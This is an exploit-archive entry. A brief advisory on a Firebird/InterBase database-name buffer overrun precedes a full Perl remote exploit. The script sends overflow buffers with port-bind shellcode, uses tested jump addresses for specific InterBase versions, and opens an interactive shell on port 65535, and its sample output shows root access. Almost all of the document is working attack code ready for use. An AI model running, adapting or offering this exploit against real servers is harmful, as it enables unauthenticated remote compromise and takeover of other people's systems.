Firebird 1.0 - Remote Database Name Buffer Overrun

source: https://www.securityfocus.com/bid/10446/info

Firebird is reported prone to a remote buffer-overrun vulnerability. The issue occurs because the application fails to perform sufficient boundary checks when the database server is handling database names.

A remote attacker may exploit this vulnerability, without requiring valid authentication credentials, to influence the execution flow of the affected Firebird database server. Ultimately, this may lead to the execution of attacker-supplied code in the context of the affected software.

#!/usr/bin/perl
# Priv8security com remote exploit for Borland Interbase 7.1 SP 2 and lower
# Public Version!!!
#
# Bug found by Aviram Jenik www.securiteam.com unixfocus 5AP0P0UCUO.html
#
# [wsxz@localhost buffer]$ perl priv8ibserverb.pl -h localhost -t 0
#
# -=[ Priv8security.com InterBase Server 7.1 SP2 and lower remote exploit ]=-
#
# [+] Using target 0: Linux Interbase 7.1 SP 2
# [+] Sending first buffer... d0ne!
# [+] Waiting... Got awnser!
# [+] Sending final hit... Done!
# [+] Enjoy your stay on this server =)
#
# ****** Welcome to 'localhost' ******
#
# Linux localhost 2.4.21-0.27mdk #1 Wed Jan 7 03:44:18 MST 2004 i686 unknown
# unknown GNU/Linux
# uid=0(root) gid=0(root) groups=0(root)
#
use IO::Socket;
use Getopt::Std; getopts('h:p:t:o:', \%args);

if (defined($args{'h'})) { $host = $args{'h'}; }
if (defined($args{'p'})) { $port = $args{'p'}; }else{$port = 3050;}
if (defined($args{'t'})) { $target = $args{'t'}; }else{$target = 0;}
if (defined($args{'o'})) { $offset = $args{'o'}; }else{$offset = 0;}

print "\n-=[ Priv8security.com InterBase Server 7.1 SP2 and lower remote exploit ]=-\n\n";
if(!defined($host)){
print "Usage:
-h <host>
-p Port <default 3050>
-t Target number from list.\n\n";
print STDERR "Targets:
0 - Linux Interbase 7.1 SP 2
1 - Linux Interbase 6.01 InterBaseSS_LI-V6.0-1.i386.rpm
2 - Crash\n\n";
print STDERR "Usage: perl $0 -h Victim -t target\n\n";
exit;
}

$shellcode = # portbind 65535 by Ramon de Carvalho priv8security.com
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a".
"\x02\x89\xe1\xb0\x66\xcd\x80\xff".
"\x49\x02\x6a\x10\x51\x50\x89\xe1".
"\x43\xb0\x66\xcd\x80\x89\x41\x04".
"\xb3\x04\xb0\x66\xcd\x80\x43\xb0".
"\x66\xcd\x80\x59\x93\xb0\x3f\xcd".
"\x80\x49\x79\xf9\x68\x2f\x2f\x73".
"\x68\x68\x2f\x62\x69\x6e\x89\xe3".
"\x52\x53\x89\xe1\xb0\x0b\xcd\x80";

if ( $target == "0" ) { # TESTED
$ret = 0x081b7ee3; # jmp esp
$pack = 0;
$desc = "Linux Interbase 7.1 SP 2";
}
if ( $target == "1" ) { # TESTED
$ret = 0x080c77bd; # jmp esp
$pack = 1;
$desc = "Linux Interbase 6.01 .rpm";
}
if ( $target == "2" ) {
$ret = 0x41424344;
$pack = 1;
$desc = "Crash it!";
}

$new_ret = pack('l', ($ret));

# Request buffer
$buffer = "\x00\x00\x00\x01\x00\x00\x00\x13\x00\x00\x00\x02\x00\x00".
"\x00\x24\x00\x00\x01\x4e".
"A" x 334 .
"\x00\x00\x00\x00\x00\x04\x00\x00\x00\x10\x01\x05".
"\x61\x6c\x69\x6d\x61\x04\x05\x6c\x69\x6e\x75\x78\x06\x00\x00\x00".
"\x00\x08\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x04\x00\x00".
"\x00\x02\x00\x00\x00\x08\x00\x00\x00\x24\x00\x00\x00\x02\x00\x00".
"\x00\x04\x00\x00\x00\x03\x00\x00\x00\x0a\x00\x00\x00\x01\x00\x00".
"\x00\x02\x00\x00\x00\x04\x00\x00\x00\x04\x00\x00\x00\x0a\x00\x00".
"\x00\x24\x00\x00\x00\x02\x00\x00\x00\x04\x00\x00\x00\x05";

# This buffer is for 7.1 version, its a simple classic overflow.
$buffer2 = "\x00\x00\x00\x13\x00\x00\x00\x00\x00\x00\x01\x2c".
"A" x 152 . $new_ret . "\x90" x (144 - length($shellcode)) . $shellcode.
"\x00\x00\x00\x00".
"\x00\x1c\x01\x1c\x04\x72\x6f\x6f\x74\x1e\x0b\x74\x5a\x72\x64\x6d".
"\x68\x4b\x58\x42\x66\x51\x3a\x04\x3c\x00\x00\x00\x3e\x00";

# This buffer is for 6.01, a little tricky to exploit.
$buffer3 = "\x00\x00\x00\x13\x00\x00\x00\x00\x00\x00\x01\x4e".
"\x90" x (128 - length($shellcode)) . $shellcode.
$new_ret x 2 . "\xf8\xfd\xff\xbf" . "\x90" x (180 - length($shellcode)) . $shellcode.
"\xf0\x3a\x1e\x08".
"AAAAAAAAAA".
"\x00\x00\x00\x00".
"\x00\x1c\x01\x1c\x04\x72\x6f\x6f\x74\x1e\x0b\x7a\x5a\x72\x64\x6d".
"\x68\x4b\x58\x42\x66\x51\x3a\x04\x3c\x00\x00\x00\x3e\x00";

$sock = IO::Socket::INET->new(Proto=>"tcp", PeerHost=>$host,PeerPort=>$port)
or die "[-] Cant Connect!!\n";

print STDERR "[+] Using target $target: $desc\n";
print STDERR "[+] Sending first buffer...";
$sock->send($buffer);
print STDERR " d0ne!\n";
print STDERR "[+] Waiting... ";
$sock->recv($text,128);
if($text){
print STDERR "Got awnser!\n";
}
print STDERR "[+] Sending final hit... ";
if($pack){
$sock->send($buffer3);
}else{
$sock->send($buffer2);
}
print STDERR "Done!\n";
sleep(3);

$sc = IO::Socket::INET->new(Proto=>"tcp", PeerHost=>$host,PeerPort=>65535,Type=>SOCK_STREAM,Reuse=>1)
or die "[-] No luck, try other offset next time ok.\n";

print "[+] Enjoy your stay on this server =)\n";

$sc->autoflush(1);

print $sc "echo;echo \"****** Welcome to '`hostname -s`' ******\"\n";
print $sc "echo;uname -a;id;echo\n";

die "cant fork: $!" unless defined($pid = fork());

if ($pid) {
while(defined ($line = <$sc>)) {
print STDOUT $line;
}
kill("TERM", $pid);
}
else
{
while(defined ($line = <STDIN>)) {
print $sc $line;
}
}
close($sc);
print "Good bye!!\n";